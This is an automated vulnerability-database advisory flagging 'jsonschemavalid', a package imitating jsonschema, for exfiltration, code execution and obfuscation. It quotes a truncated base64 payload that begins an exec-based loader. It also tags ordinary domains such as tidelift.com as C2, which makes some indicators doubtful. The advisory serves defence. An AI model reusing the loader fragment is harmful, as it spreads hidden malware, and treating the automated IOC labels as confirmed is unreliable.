VDB
GCVE-110-OSM-2026-8716
GCVE-110-OSM-2026-8716
Advisory PublishedCVSS 8.8/10
Malicious package detected. Behaviors: data exfiltration, code execution, obfuscated code.
ENTRY
src/jsonschema/cli.py (console-script: jsonschema=jsonschema.cli:main)
DESTINATION
- urls: http://bar (c2, plaintext)
- domains: tidelift.com (c2, plaintext)
EXFIL
- Network Request in src/jsonschema/validators.py: "requests.get("
OBFUSCATION
- Decoded Base64 Content in src/jsonschema/validators.py
- Base64 Encoded Payload in src/jsonschema/validators.py: ""X19pbXBvcnRfXygidGhyZWFkaW5nIikuVGhyZWFkKHRhcmdldD1sYW1iZGEgOiBleGVjKF9faW1wb3J..."
ADDITIONAL FINDINGS
- Shell Command Execution in src/jsonschema/benchmarks/import_benchmark.py: "subprocess.run("
- Silent Process Execution in src/jsonschema/benchmarks/import_benchmark.py: "stdout=subprocess.DEVNULL"
PAYLOAD FILES
src/jsonschema/validators.py
INDICATORS (IOCs)
- ipv6: 12::
- urls: http://foo/bar``, https://hatch.pypa.io/, https://results.pre-commit.ci/latest/github/python-jsonschema/jsonschema/main, https://zenodo.org/badge/latestdoi/3072629, https://pip.pypa.io/en/stable/ (+7 more)
- domains: hatch.pypa.io, GrayVines.com, pre-commit.ci, zenodo.org, pip.pypa.io (+3 more)
- emails: Julian+jsonschema@GrayVines.com, apiteam@swagger.io
- payloadFileHash: a50129d41755a4c41dbfe96cb994603edd6af53448b8aeaf7f7f1ec208a6028a
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | jsonschemavalid | all (affected) | — |
Aliases
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